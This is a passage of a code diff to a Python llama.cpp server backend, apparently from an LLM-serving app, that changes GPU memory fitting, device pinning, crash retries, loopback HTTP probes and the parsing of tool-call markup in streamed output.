self._can_estimate_kv() and effective_ctx > 0: @@ -5182,6 +6173,9 @@ class LlamaCppBackend: # budget so the fit and the check below agree. pool_budget = _pool_budget_mib(subset, _cap_fraction) _ms = _subset_model_size(n_gpus) + # Compute buffer is replicated per device in a layer + # split, so scale the context term by the subset size. + _cc_sub = lambda c, n = n_gpus: _cc_bytes(c, n) capped = self._fit_context_to_vram( native_ctx_for_cap, pool_budget, @@ -5190,13 +6184,16 @@ class LlamaCppBackend: n_parallel = n_parallel, mtp_engaged = _mtp_reserves_gpu, mtp_overhead_fn = mtp_overhead_fn, + compute_ctx_bytes_fn = _cc_sub, budget_frac = 1.0, total_mib = None, ) kv = self._estimate_kv_cache_bytes( capped, cache_type_kv, n_parallel = n_parallel ) - footprint_mib = (_ms + kv + _mtp_bytes(capped)) / (1024 * 1024) + footprint_mib = ( + _ms + kv + _mtp_bytes(capped) + _cc_sub(capped) + ) / (1024 * 1024) if footprint_mib <= pool_budget: best_cap = max(best_cap, capped) if best_cap > 0: @@ -5217,13 +6214,19 @@ class LlamaCppBackend: effective_ctx, cache_type_kv, n_parallel = n_parallel ) + _mtp_bytes(effective_ctx) + + _cc_bytes(effective_ctx) ) + # The compute buffer is replicated on every device in a + # layer split; fold it into the per-device reserve so a + # multi-GPU pin sizes each card for its own copy. gpu_indices, use_fit = self._select_gpus( requested_total, gpus, usable_fraction = _pin_fraction, total_by_idx = total_by_idx, - per_device_overhead_bytes = _pipeline_overhead_bytes, + per_device_overhead_bytes = _pipeline_overhead_bytes + + _cc_bytes(effective_ctx), + min_gpus = _layer_min_gpus, ) # No silent shrink: effective_ctx stays == requested_ctx. else: @@ -5234,10 +6237,28 @@ class LlamaCppBackend: ranked = sorted( gpus, key = lambda g: _gpu_usable(g, pin_fraction), reverse = True ) - for n_gpus in range(1, len(ranked) + 1): + # Skips _select_gpus, so apply its cap: count only cards + # whose usable VRAM clears the per-device layer overhead. + _pipeline_overhead_mib = _pipeline_overhead_bytes / (1024 * 1024) + _auto_min_gpus = max( + 1, + min( + _layer_min_gpus, + sum( + 1 + for g in ranked + if _gpu_usable(g, pin_fraction) > _pipeline_overhead_mib + ) + or 1, + ), + ) + for n_gpus in range(_auto_min_gpus, len(ranked) + 1): subset = ranked[:n_gpus] pool_budget = _pool_budget_mib(subset, pin_fraction) _ms = _subset_model_size(n_gpus) + # Compute buffer is replicated per device in a layer + # split, so scale the context term by the subset size. + _cc_sub = lambda c, n = n_gpus: _cc_bytes(c, n) capped = self._fit_context_to_vram( effective_ctx, pool_budget, @@ -5246,13 +6267,16 @@ class LlamaCppBackend: n_parallel = n_parallel, mtp_engaged = _mtp_reserves_gpu, mtp_overhead_fn = mtp_overhead_fn, + compute_ctx_bytes_fn = _cc_sub, budget_frac = 1.0, total_mib = None, ) kv = self._estimate_kv_cache_bytes( capped, cache_type_kv, n_parallel = n_parallel ) - footprint_mib = (_ms + kv + _mtp_bytes(capped)) / (1024 * 1024) + footprint_mib = ( + _ms + kv + _mtp_bytes(capped) + _cc_sub(capped) + ) / (1024 * 1024) if footprint_mib <= pool_budget: effective_ctx = capped gpu_indices = sorted(idx for idx, _ in subset) @@ -5264,7 +6288,7 @@ class LlamaCppBackend: # at 131k may pin fine with a 4096 KV (#5106). effective_ctx = min(4096, effective_ctx) if effective_ctx > 0: - for n_gpus in range(1, len(ranked) + 1): + for n_gpus in range(_auto_min_gpus, len(ranked) + 1): subset = ranked[:n_gpus] kv = self._estimate_kv_cache_bytes( effective_ctx, @@ -5275,6 +6299,7 @@ class LlamaCppBackend: _subset_model_size(n_gpus) + kv + _mtp_bytes(effective_ctx) + + _cc_bytes(effective_ctx, n_gpus) ) / (1024 * 1024) if footprint_mib <= _pool_budget_mib(subset, pin_fraction): gpu_indices = sorted(idx for idx, _ in subset) @@ -5300,12 +6325,103 @@ class LlamaCppBackend: usable_fraction = _pin_fraction, total_by_idx = total_by_idx, per_device_overhead_bytes = _pipeline_overhead_bytes, + min_gpus = _layer_min_gpus, ) if use_fit and not explicit_ctx: # Weights don't fit on any subset; default UI to 4096 # so the slider isn't on an unusable native ctx. effective_ctx = min(4096, effective_ctx) if effective_ctx > 0 else 4096 + elif _apple_budget_mib > 0 and effective_ctx > 0: + # No GPU on Metal: the branches above are skipped and the context + # stays at native, over-committing unified memory (#5118, #6529). + # Cap with the same fit math (--fit on stays as a backstop); only + # auto context shrinks, explicit is honored. + native_ctx_for_cap = self._context_length or effective_ctx + # Reserve the flat MTP fraction up front like the discrete + # _pin_fraction, so an unsized MTP draft (e.g. Qwen3.6-MTP, #6529) + # can't over-commit. No-op when MTP is off; exclusive with the + # byte-accurate _mtp_bytes reserve. + _apple_fit_budget_mib = int( + _apple_budget_mib * max(0.0, 1.0 - _flat_mtp_reserve) + ) + if self._can_estimate_kv(): + cap = self._fit_context_to_vram( + native_ctx_for_cap, + _apple_fit_budget_mib, + model_size_fit, + cache_type_kv, + n_parallel = n_parallel, + mtp_engaged = _mtp_reserves_gpu, + mtp_overhead_fn = mtp_overhead_fn, + compute_ctx_bytes_fn = _cc_bytes, + budget_frac = 1.0, + total_mib = None, + ) + _cap_footprint_mib = ( + model_size_fit + + self._estimate_kv_cache_bytes( + cap, cache_type_kv, n_parallel = n_parallel + ) + + _mtp_bytes(cap) + + _cc_bytes(cap) + ) / (1024 * 1024) + # Fit returns the request unchanged when it fits OR weights + # exceed budget; only the latter over-commits, so floor to 4096. + max_available_ctx = ( + cap + if _cap_footprint_mib <= _apple_fit_budget_mib + else min(4096, native_ctx_for_cap) + ) + else: + # No KV estimate: mirror the discrete file-size-only fallback + # and floor to 4096 rather than launch at native and over-commit. + max_available_ctx = min(4096, native_ctx_for_cap) + if not explicit_ctx: + effective_ctx = max_available_ctx + + # Prefer fewer serving slots on GPU over --fit on offload: when the extra + # --parallel slots push the footprint past the pin budget, llama-server + # offloads layers to host and decode collapses ~3x (#6718). Retry the fit + # at fewer slots, keeping the largest count that stays fully on GPU and the + # chosen context. Skips tensor mode / Metal / KV-inestimable paths. + if ( + use_fit + and n_parallel > 1 + and gpus + and self._can_estimate_kv() + and effective_ctx > 0 + ): + # Slot-independent footprint (folded compute buffer swapped out so the + # helper re-adds a slot-sized one per candidate). + _base_footprint = ( + model_size_fit + - _compute_buffer_pipeline + + _mtp_bytes(effective_ctx) + + _cc_bytes(effective_ctx) + ) + _gi_slots, _uf_slots, _slots = self._slots_that_fit_on_gpu( + n_parallel, + effective_ctx, + gpus, + total_by_idx, + _base_footprint, + cache_type_kv, + _pin_fraction, + _pipeline_overhead_bytes + _cc_bytes(effective_ctx), + _layer_min_gpus, + _effective_ubatch, + ) + if not _uf_slots: + logger.info( + "Serving slots reduced %d -> %d to keep the model on GPU " + "(avoid --fit offload) at context %d.", + n_parallel, + _slots, + effective_ctx, + ) + gpu_indices, use_fit, n_parallel = _gi_slots, False, _slots + # MTP reserve at the final context, for the logs below. _mtp_reserve_bytes = _mtp_bytes(effective_ctx) if _mtp_will_engage else 0 if _mtp_will_engage: @@ -5354,7 +6470,12 @@ class LlamaCppBackend: # cap, not the ROCm-reported VRAM, is the real ceiling); refuse an # oversize load the OS would otherwise kill mid-flight. Base model # only: an optional MTP drafter is dropped by the MTP-drop fallback. - if model_size is not None and self._amd_apu_wants_unified_memory(gpu_indices): + # CUDA/ROCm ids only; a Vulkan build's gpu_indices are ggml ordinals. + if ( + model_size is not None + and not is_vulkan_backend + and self._amd_apu_wants_unified_memory(gpu_indices) + ): _ram_msg = self._apu_ram_shortfall_message( model_size, self._available_system_memory_mib() ) @@ -5391,12 +6512,23 @@ class LlamaCppBackend: "--no-context-shift", ] + # Report a clean public model id (matching GET /v1/models) rather + # than the raw -m path in llama-server's own /v1/models and the + # "model" field of its chat/completions responses. + from core.inference.model_ids import public_model_id + + _alias = public_model_id(self._model_identifier or model_path) + if _alias: + cmd.extend(["--alias", _alias]) + fully_gpu_offloaded = False if use_fit: cmd.extend(["--fit", "on"]) elif gpu_indices is not None: - # Fits on selected GPU(s) -- offload all layers - cmd.extend(["-ngl", "-1"]) + # Fits on selected GPU(s) -- force all layers on GPU. --fit off is + # required: without it llama.cpp's default --fit on second-guesses + # and offloads ~1 GB at --parallel 4 even though the model fits. + cmd.extend(["-ngl", "-1", "--fit", "off"]) fully_gpu_offloaded = True server_caps = self.probe_server_capabilities(binary) @@ -5484,12 +6616,15 @@ class LlamaCppBackend: ] ) self._tensor_parallel = True + self._layer_preserves_tensor_intent = False logger.info( "Tensor parallelism: --split-mode tensor, --tensor-split %s", tp_tensor_split, ) else: self._tensor_parallel = False + # > 1 only when a tensor request was downgraded but kept multi-GPU. + self._layer_preserves_tensor_intent = _layer_min_gpus > 1 # Speculative decoding. See _build_speculative_flags for the # mode resolution, benchmarks, and llama.cpp references. @@ -5603,6 +6738,12 @@ class LlamaCppBackend: ", ".join(unsupported_cache_flags), ) + # Vulkan pins via --device (a cmd arg, unlike the env-based + # CUDA/ROCm pin below), emitted BEFORE user extras so llama.cpp's + # last-wins parsing lets a user --device override Studio's pick. + if is_vulkan_backend and gpu_indices is not None: + cmd += LlamaCppBackend._vulkan_pin_args(gpu_indices) + # User pass-through args go last so llama.cpp's last-wins parsing # lets the user override Studio's auto-set flags. Already # validated by the route via validate_extra_args(). @@ -5654,23 +6795,25 @@ class LlamaCppBackend: env.setdefault("OMP_NUM_THREADS", "2") # AMD unified-memory APUs (gfx1150/gfx1151): let llama.cpp use - # shared system RAM. setdefault so a user value wins. - if self._amd_apu_wants_unified_memory(gpu_indices): + # shared system RAM. setdefault so a user value wins. Not on Vulkan + # (nor DC below): gpu_indices are ggml ordinals, not CUDA/ROCm ids. + if not is_vulkan_backend and self._amd_apu_wants_unified_memory(gpu_indices): env.setdefault("GGML_CUDA_ENABLE_UNIFIED_MEMORY", "1") logger.info("AMD unified-memory APU: set GGML_CUDA_ENABLE_UNIFIED_MEMORY=1") # DC NVIDIA GPUs: FP32 accum (+ P2P / launch queues for multi-GPU). # See _apply_datacenter_env; opt out with UNSLOTH_DISABLE_DC_TUNING=1. - if self._apply_datacenter_env(env, gpu_indices): + if not is_vulkan_backend and self._apply_datacenter_env(env, gpu_indices): multi_gpu = self._effective_gpu_count(gpu_indices) > 1 logger.info( f"Data-center GPU detected: applied DC llama.cpp env tuning (multi_gpu={multi_gpu})" ) # Pin to selected GPU(s). On ROCm, narrowing only - # CUDA_VISIBLE_DEVICES leaves an AMD child seeing the full - # set, so set HIP_VISIBLE_DEVICES too. - if gpu_indices is not None: + # CUDA_VISIBLE_DEVICES leaves an AMD child seeing the full set, so + # set HIP_VISIBLE_DEVICES too. Vulkan is pinned via --device + # (above), not here. + if gpu_indices is not None and not is_vulkan_backend: pinned = ",".join(str(i) for i in gpu_indices) env["CUDA_VISIBLE_DEVICES"] = pinned try: @@ -5773,7 +6916,44 @@ class LlamaCppBackend: _startup_crashed = ( self._process.poll() is not None and self._process.returncode != 0 ) - if _spawn_attempt == 0 and _fit_retry_allowed and _startup_crashed: + # A split-axis abort (#6415) is fit-independent: skip the + # --fit off retry and let the caller latch it. + _split_axis_crash = self._is_tensor_split_assert( + "\n".join(self._stdout_lines[-50:]) + ) + if ( + _spawn_attempt == 0 + and fully_gpu_offloaded + and _startup_crashed + and not _split_axis_crash + ): + # We forced --fit off because Studio's (conservative) VRAM + # math placed the model fully on GPU. A startup crash here + # means that estimate was optimistic, so fall back to --fit + # on and let llama.cpp offload rather than fail the load. + logger.warning( + "llama-server crashed during startup (exit code %s) " + "with forced --fit off; the fit estimate was optimistic, " + "retrying once with --fit on so it can offload. " + "Crash log: %s", + self._process.returncode, + self._llama_log_path, + ) + # Flip Studio's own --fit off (added first, before any + # user extra args) to on; a user's later --fit still wins + # by last-arg. Defensive: if absent, the default is already + # --fit on, so leave it. + _run = list(run_cmd) + if "--fit" in _run: + _run[_run.index("--fit") + 1] = "on" + run_cmd = _run + continue + if ( + _spawn_attempt == 0 + and _fit_retry_allowed + and _startup_crashed + and not _split_axis_crash + ): logger.warning( "llama-server crashed during startup (exit code %s) " "with the default memory-fit step enabled; Studio " @@ -5819,6 +6999,21 @@ class LlamaCppBackend: ) healthy = _spawn_and_wait(cmd) + # #6415 split-mode tensor warmup abort. Latch it on THIS first spawn: + # the flash-attn-off retry below can't run tensor (needs flash_attn), + # so its output drops the marker and recording later would miss it, + # looping every load. Record and raise to the route's layer fallback, + # skipping the futile flash-attn/MTP retries. + if not healthy and self._tensor_parallel and not self._cancel_event.is_set(): + _ts_out = "\n".join(self._stdout_lines[-50:]) + _ts_rc = self._process.poll() if self._process is not None else None + if self._should_record_tensor_split_abort(_ts_rc, _ts_out): + LlamaCppBackend._record_tensor_split_abort(binary, model_identifier) + self._kill_process() + raise RuntimeError( + "llama-server aborted on --split-mode tensor " + "(split-axis geometry); retrying with layer split." + ) # Flash-attention kernels hard-crash at startup on some ROCm/GPU # builds (frequently inside the vision tower). Disabling FA keeps # both vision and MTP, so retry that way before dropping either. @@ -5963,6 +7158,7 @@ class LlamaCppBackend: # Read the crash code before _kill_process() clears _process. _crash_rc = self._process.poll() if self._process is not None else None self._kill_process() + # The #6415 split-axis abort is latched earlier (first spawn). # Skip if a cancel/unload is pending (mirrors the MTP guard). if ( launched_with_mmproj @@ -6011,6 +7207,7 @@ class LlamaCppBackend: ) self._healthy = True + self._commit_effective_parallel_slots(n_parallel) # Commit caller intent only after _healthy=True so a failed start # can't poison the next inheritance check. None keeps prior, [] @@ -6394,6 +7591,7 @@ class LlamaCppBackend: spec_draft_n_max: Optional[int] = None, tensor_parallel: bool = False, mtp_draft_path: Optional[str] = None, + preserve_multi_gpu_on_layer: bool = False, ) -> bool: """True iff the live server already satisfies these load kwargs. @@ -6436,6 +7634,17 @@ class LlamaCppBackend: # server. An identical request would downgrade the same way. if not _tensor_parallel_matches_loaded(extra_args, tensor_parallel, self._tensor_parallel): return False + # Preserved tensor->layer fallback + an EXPLICIT tensor drop: reload so + # placement re-selects instead of keeping the all-GPU mask (mirrors the route, + # #6659). preserve_multi_gpu_on_layer carries the route's carry-forward decision + # (True for an implicit same-settings reload), so those still dedupe -- the HF + # auto-pick / local-dir flows skip the route guard and only reach here. + if ( + self._layer_preserves_tensor_intent + and not _effective_tensor_parallel(extra_args, tensor_parallel) + and not preserve_multi_gpu_on_layer + ): + return False # Compare on the canonical requested mode. With --spec-type in # extra_args the backend stores None; mirror that here. @@ -6536,6 +7745,7 @@ class LlamaCppBackend: self._context_length = None self._effective_context_length = None self._max_context_length = None + self._reset_effective_parallel_slots() self._chat_template = None self._chat_template_override = None self._supports_reasoning = False @@ -6547,6 +7757,7 @@ class LlamaCppBackend: self._supports_tools = False self._cache_type_kv = None self._tensor_parallel = False + self._layer_preserves_tensor_intent = False self._speculative_type = None self._requested_spec_mode = None self._spec_draft_n_max = None @@ -6590,6 +7801,7 @@ class LlamaCppBackend: # Stop the watchdog before a deliberate kill so a planned reload/unload # isn't seen as a crash; a real crash never routes through here. self._stop_mtp_crash_watchdog() + self._reset_effective_parallel_slots() if self._process is None: return try: @@ -6883,6 +8095,13 @@ class LlamaCppBackend: resolved_roots: list[Path] = [] for root in install_roots: try: + # A --with-llama-cpp-dir local link (symlink/junction) + # resolves into the user's own checkout. Adding it would let + # us treat the user's externally-launched llama-server as our + # orphan and kill it, so leave such roots out of the + # allowlist (we forgo orphan-reaping for local-link installs). + if _is_external_link(root): + continue resolved_roots.append(root.resolve()) except OSError: pass @@ -7016,7 +8235,13 @@ class LlamaCppBackend: url = f"{self.base_url}/completion" payload = {"prompt": "Hi", "n_predict": 4, "temperature": 0.0, "stream": False} try: - resp = httpx.post(url, json = payload, timeout = timeout, headers = self._auth_headers) + resp = httpx.post( + url, + json = payload, + timeout = timeout, + headers = self._auth_headers, + trust_env = False, + ) except Exception as e: logger.debug(f"MTP decode probe failed: {e}") return False @@ -7168,7 +8393,9 @@ class LlamaCppBackend: return False try: - resp = httpx.get(url, timeout = 2.0) + # trust_env=False: skip ambient HTTP(S)_PROXY, which if it 503s + # for 127.0.0.1 loops the probe until timeout and hangs load. + resp = httpx.get(url, timeout = 2.0, trust_env = False) if resp.status_code == 200: return True except ( @@ -7184,6 +8411,10 @@ class LlamaCppBackend: time.sleep(interval) + # Leave a marker so _classify_llama_start_failure tells a live but + # never-healthy load (too large, or a proxy hijacking the loopback + # probe) apart from a bad GGUF (#5740). + self._stdout_lines.append(f"llama-server health check timed out after {timeout}s") logger.error(f"llama-server health check timed out after {timeout}s") return False @@ -7215,7 +8446,7 @@ class LlamaCppBackend: """ url = f"{self.base_url}/props" try: - resp = httpx.get(url, timeout = 5.0) + resp = httpx.get(url, timeout = 5.0, trust_env = False) if resp.status_code != 200: return None settings = resp.json().get("default_generation_settings") or {} @@ -7248,12 +8479,17 @@ class LlamaCppBackend: # ── Message building (OpenAI format) ────────────────────────── @staticmethod - def _parse_tool_calls_from_text(content: str, *, allow_incomplete: bool = True) -> list[dict]: - """Thin wrapper around the shared parser in tool_call_parser - so safetensors and llama_cpp pick up the same fixes.""" + def _parse_tool_calls_from_text( + content: str, + *, + allow_incomplete: bool = True, + enabled_tool_names: Optional[set] = None, + ) -> list[dict]: + """Wrapper around the shared parser; ``enabled_tool_names`` gates the markerless bare-JSON form.""" return _shared_parse_tool_calls_from_text( content, allow_incomplete = allow_incomplete, + enabled_tool_names = enabled_tool_names, ) @staticmethod @@ -7295,7 +8531,9 @@ class LlamaCppBackend: which differ only in how they parse the SSE body.""" stream_timeout = httpx.Timeout(connect = 10, read = 0.5, write = 10, pool = 10) with httpx.Client( - timeout = stream_timeout, limits = httpx.Limits(max_keepalive_connections = 0) + timeout = stream_timeout, + limits = httpx.Limits(max_keepalive_connections = 0), + trust_env = False, ) as client: first_token_deadline = time.monotonic() + _DEFAULT_FIRST_TOKEN_TIMEOUT_S with self._stream_with_retry( @@ -7405,7 +8643,7 @@ class LlamaCppBackend: ): """Open one streaming POST and let cancel interrupt prefill or reads.""" if cancel_event is not None and cancel_event.is_set(): - raise GeneratorExit + raise _LlamaStreamCancelled _cancel_closed = threading.Event() _response_ref: list = [None] @@ -7450,13 +8688,13 @@ class LlamaCppBackend: ) as response: _response_ref[0] = response if cancel_event is not None and cancel_event.is_set(): - raise GeneratorExit + raise _LlamaStreamCancelled yield response return except (httpx.RequestError, RuntimeError): # Response was closed by the cancel watcher if cancel_event is not None and cancel_event.is_set(): - raise GeneratorExit + raise _LlamaStreamCancelled raise finally: _cancel_closed.set() @@ -7659,6 +8897,8 @@ class LlamaCppBackend: "finish_reason": _metadata_finish_reason, } + except _LlamaStreamCancelled: + return except httpx.ConnectError as e: # Server already down. If this was an MTP+tensor crash, recover by # reloading without MTP (scheduled in the background) and fail this @@ -7718,6 +8958,7 @@ class LlamaCppBackend: preserve_thinking: Optional[bool] = None, max_tool_iterations: int = 25, auto_heal_tool_calls: bool = True, + nudge_tool_calls: Optional[bool] = None, tool_call_timeout: int = 300, session_id: Optional[str] = None, rag_scope: Optional[dict] = None, @@ -7753,6 +8994,26 @@ class LlamaCppBackend: _accumulated_completion_tokens = 0 _accumulated_predicted_ms = 0.0 _accumulated_predicted_n = 0 + # GGUF buffers reasoning; emit server-side timing before answer text. + _reasoning_started_at: Optional[float] = None + _reasoning_summary_emitted = False + + # Gate telling a genuine NAME[ARGS] rehearsal from inactive-name prose; built from the + # ORIGINAL tools list so a spent one-shot still reads as a tool name. None = no gate. + _enabled_names_gate = set(_gguf_active_tool_names(tools)) if tools else None + # Detection must see the same names as the strip gate (ORIGINAL list, incl. a spent + # one-shot), else its repeat is stripped but never drained and the turn ends blank. + _detect_tools = list(tools or []) + + def _reasoning_summary_event(started_at: float) -> dict: + return { + "type": "reasoning_summary", + "duration_ms": round((time.monotonic() - started_at) * 1000.0), + } + + # Enabled-name gate for the markerless Gemma strip (disabled/example + # names stay visible). Set per iteration; None = pre-loop name-agnostic. + _enabled_tool_names = None def _strip_tool_markup( text: str, @@ -7762,14 +9023,42 @@ class LlamaCppBackend: ) -> str: if not (auto_heal_tool_calls or force): return text - return strip_tool_call_markup(text, final = final) + # Delegate to the shared parser-side strip so the GGUF cleanup covers every family the + # parser promotes (Llama <|python_tag|>, Mistral [TOOL_CALLS], bare rehearsal, function + # XML, Gemma) and stays aligned with detection; tool_healing's strip omits the loop-only + # forms (python_tag / Mistral name) and would leak them into display. + return _shared_strip_tool_markup( + text, final = final, enabled_tool_names = _enabled_names_gate + ) def _strip_tool_markup_streaming(text: str, *, force: bool = False) -> str: if not (auto_heal_tool_calls or force): return text - for pat in _TOOL_ALL_PATS: - text = pat.sub("", text) - return text + + def _seg(segment: str, is_last: bool) -> str: + # Same scan order as the parser's _strip_segment (seg_final -> is_last): balanced + # strips first (nested JSON removed whole; literal markup inside a value is that + # call's data), then the guarded function-XML / GLM scans, then the regex arms + # (DeepSeek / Kimi / closed forms). EOS-anchored tail arms run only on the last + # segment (a bare ``foo[ARGS]`` before is prose). Rehearsal + markerless + # strips are name-gated on the ORIGINAL list (strip/detect aligned). + seg = _strip_mistral_closed_calls(segment) + seg = _strip_bracket_tag_calls(seg, enabled_tool_names = _enabled_names_gate) + if is_last: + seg = _strip_gemma_wrapperless_calls(seg, _enabled_names_gate) + seg = _strip_function_xml_calls(seg, final = is_last) + seg = _strip_glm_calls(seg, final = is_last) + pats = _PARSER_TOOL_ALL_PATS if is_last else _PARSER_TOOL_CLOSED_PATS + for pat in pats: + seg = pat.sub("", seg) + if is_last: + seg = apply_tool_strip_patterns( + seg, [_REHEARSAL_TAIL_STRIP_RE], enabled_tool_names = _enabled_names_gate + ) + return seg + + # Preserve think blocks verbatim (a rehearsed call inside one must not be deleted). + return strip_outside_think(text, _seg) def _build_metadata_event(usage, timings, finish_reason): """Final usage+timings metadata event for the given pass, merging its @@ -7788,25 +9077,55 @@ class LlamaCppBackend: _mt["predicted_per_second"] = _mt["predicted_n"] / ( _mt["predicted_ms"] / 1000.0 ) + _usage = { + "prompt_tokens": _fp, + "completion_tokens": _tc, + "total_tokens": _fp + _tc, + } + # Preserve KV-cache hit details (cached_tokens) so the tool path + # reports them like the standard non-tool path does, not always 0. + if _fu.get("prompt_tokens_details"): + _usage["prompt_tokens_details"] = _fu["prompt_tokens_details"] return { "type": "metadata", - "usage": { - "prompt_tokens": _fp, - "completion_tokens": _tc, - "total_tokens": _fp + _tc, - }, + "usage": _usage, "timings": _mt, "finish_reason": finish_reason, } def _flush_reasoning_and_buffer(): - """Append buffered reasoning (as a block) then the held + """Close a live-streamed block (or emit the buffered reasoning + as one block if it never streamed), then append the held content_buffer to the cumulative display text.""" - nonlocal cumulative_display - if reasoning_accum: + nonlocal cumulative_display, in_thinking + if in_thinking: + cumulative_display += "" + in_thinking = False + elif reasoning_accum: cumulative_display += "" + reasoning_accum + "" cumulative_display += content_buffer + def _close_streamed_think() -> bool: + """Close a live-streamed before a tool call drains, so + consumers without a reasoning extractor (Anthropic) get a balanced + block. Returns True when the caller should yield the result.""" + nonlocal cumulative_display, in_thinking, _last_emitted + if not in_thinking: + return False + cumulative_display += "" + in_thinking = False + if len(cumulative_display) > len(_last_emitted) and not _suppress_visible_output: + _last_emitted = cumulative_display + return True + return False + + def _looks_like_enabled_bare_json(text: str, enabled_tool_names: set) -> bool: + """True when ``text`` opens with an ENABLED markerless bare-JSON call; an ordinary JSON answer returns False.""" + probe = strip_llama3_leading_sentinels(text.lstrip()) + if not (probe.startswith("{") and ('"name"' in probe or '"function"' in probe)): + return False + return strip_leading_bare_json_call(probe, enabled_tool_names) != probe + tool_controller = ToolLoopController( tools = tools, auto_heal_tool_calls = auto_heal_tool_calls, @@ -7820,18 +9139,21 @@ class LlamaCppBackend: ) _MAX_BUFFER_CHARS = 32 + # Hold a leading ``{`` well past the 32-char XML cap until it balances (mirrors safetensors). + _MAX_BARE_JSON_BUFFER = 16384 _append_budget_exhausted_nudge = True # RAG: cap knowledge-base searches per assistant turn. The controller is # tool-agnostic, so this gate stays in the loop. _kb_search_count = 0 # ── Re-prompt on plan-without-action ───────────────── - # When the model describes what it intends to do (forward-looking - # language) without calling a tool, re-prompt once. Only triggers on - # responses signaling intent/planning -- a direct answer like "4" or - # "Hello!" won't match. Pattern compiled at module level - # (_INTENT_SIGNAL). + # Model describes intent without calling a tool: re-prompt once. A + # direct answer ("4", "Hello!") won't match. Pattern shared with the + # safetensors loop (tool_call_parser.INTENT_SIGNAL). _reprompt_count = 0 + # Gates ``max_tool_iterations`` on real tool turns (not the enlarged range) so reserved + # re-prompt slots don't extend the budget. Mirrors the safetensors guard. + _tool_iters_done = 0 _forced_tool_call_pending = False # Reserve extra iterations for re-prompts so they don't consume the @@ -7840,12 +9162,21 @@ class LlamaCppBackend: for iteration in range(max_tool_iterations + _extra): if cancel_event is not None and cancel_event.is_set(): return + # Whether this turn ran a tool; a no-op-only turn stays False and doesn't consume budget. + _turn_executed_real_tool = False active_tools = tool_controller.active_tools() if not active_tools: _append_budget_exhausted_nudge = False break - _tool_xml_signals = TOOL_XML_SIGNALS + # Gate the markerless bare-JSON form on enabled names so an ordinary JSON answer isn't misread as a call. + _enabled_tool_names = { + (tool.get("function") or {}).get("name") + for tool in active_tools + if (tool.get("function") or {}).get("name") + } + # Shared signal tuple so GGUF BUFFERING wakes on every format the parser knows (like safetensors). + _tool_xml_signals = _SHARED_TOOL_XML_SIGNALS # Build payload -- stream: True so we detect tool signals # in the first 1-2 chunks without a non-streaming penalty. @@ -7890,6 +9221,9 @@ class LlamaCppBackend: content_buffer = "" # Raw content held during BUFFERING content_accum = "" # All content tokens (for tool parsing) reasoning_accum = "" + # Time each reasoning pass so final answers can replace tool timing. + _reasoning_started_at = None + _reasoning_summary_emitted = False cumulative_display = "" # Cumulative yielded text (with ) in_thinking = False has_content_tokens = False @@ -7900,7 +9234,9 @@ class LlamaCppBackend: _iter_finish_reason = None _stream_done = False _last_emitted = "" - provisional_render_html_tool_call_ids = set() + # Provisional tool_start cards already shown, keyed by tool_call_id. + provisional_started_tool_calls: dict[str, str] = {} + resolved_provisional_tool_call_ids: set[str] = set() _suppress_visible_output = _forced_tool_call_pending with self._open_stream(url, payload, cancel_event) as ( @@ -7966,13 +9302,14 @@ class LlamaCppBackend: # ── Structured tool_calls ── tc_deltas = delta.get("tool_calls") if tc_deltas: - # llama-server can emit visible assistant - # preface content before native structured - # tool_calls. Preserve content_accum as - # the assistant pre-tool text and still - # drain/execute the structured call. + # Preserve any visible preface before draining + # the structured tool call. has_structured_tc = True detect_state = _S_DRAINING + # Close the reasoning prefix before the tool card + # (mirrors the is_match path). + if _close_streamed_think(): + yield {"type": "content", "text": cumulative_display} for tc_d in tc_deltas: idx = tc_d.get("index", 0) if idx not in tool_calls_acc: @@ -8001,27 +9338,54 @@ class LlamaCppBackend: fallback_id = f"call_{idx}" current_id = tool_calls_acc[idx].get("id", fallback_id) already_started = ( - current_id in provisional_render_html_tool_call_ids + current_id in provisional_started_tool_calls ) - has_real_id = current_id != fallback_id - if ( + # Empty/synthetic ids cannot reconcile with real starts. + has_real_id = bool(current_id) and current_id != fallback_id + # Show one early card per eligible streamed tool call. + _is_completed_one_shot = ( current_name == "render_html" - and not _tool_succeeded("render_html") + and _tool_succeeded("render_html") + ) + # render_html is one-shot. + _one_shot_already_provisional = ( + current_name == "render_html" + and "render_html" + in provisional_started_tool_calls.values() + ) + # Later parallel cards only reconcile when parallel use is enabled. + _confirm_gated = ( + confirm_tool_calls and not bypass_permissions + ) + # Keep small-argument tools on the normal path. + _args_len = len( + tool_calls_acc[idx]["function"].get("arguments", "") + ) + _payload_is_large = ( + current_name == "render_html" + or _args_len >= _PROVISIONAL_ARGS_MIN_CHARS + ) + if ( + current_name + and (idx == 0 or not disable_parallel_tool_use) + and has_real_id + and not already_started + and not _is_completed_one_shot + and not _one_shot_already_provisional + and not _confirm_gated + and _payload_is_large and any( - ( - (tool.get("function") or {}).get("name") - == "render_html" - ) + (tool.get("function") or {}).get("name") + == current_name for tool in active_tools ) - and not already_started - and not provisional_render_html_tool_call_ids - and has_real_id ): - provisional_render_html_tool_call_ids.add(current_id) + provisional_started_tool_calls[current_id] = ( + current_name + ) yield { "type": "tool_start", - "tool_name": "render_html", + "tool_name": current_name, "tool_call_id": current_id, "arguments": {}, "provenance": tool_event_provenance( @@ -8031,15 +9395,17 @@ class LlamaCppBackend: continue # ── Reasoning tokens ── - # Yield only in STREAMING. In BUFFERING and - # DRAINING, accumulate silently so we don't - # corrupt the consumer's prev_text tracker - # (routes/inference.py never resets it - # between tool iterations). + # Stream live except while DRAINING: reasoning is + # orthogonal to tool detection (content_buffer + # only), and the route resets prev_text on + # tool_start, so the block stays a + # monotonic prefix like the no-tool path. reasoning = delta.get("reasoning_content", "") if reasoning: + if _reasoning_started_at is None: + _reasoning_started_at = time.monotonic() reasoning_accum += reasoning - if detect_state == _S_STREAMING: + if detect_state != _S_DRAINING: if not in_thinking: cumulative_display += "" in_thinking = True @@ -8053,6 +9419,13 @@ class LlamaCppBackend: # ── Content tokens ── token = delta.get("content", "") if token: + # First answer token ends reasoning. + if ( + _reasoning_started_at is not None + and not _reasoning_summary_emitted + ): + _reasoning_summary_emitted = True + yield _reasoning_summary_event(_reasoning_started_at) has_content_tokens = True content_accum += token @@ -8065,12 +9438,18 @@ class LlamaCppBackend: in_thinking = False cumulative_display += token cleaned = _strip_tool_markup_streaming(cumulative_display) - if len(cleaned) > len(_last_emitted): - _last_emitted = cleaned + # Hold a trailing bare active-tool-name (split rehearsal) + # until [ARGS] arrives; released by later prose or stream end. + _hold = _held_rehearsal_tail_len(cleaned, _detect_tools) + _emit = ( + cleaned[: len(cleaned) - _hold] if _hold else cleaned + ) + if len(_emit) > len(_last_emitted): + _last_emitted = 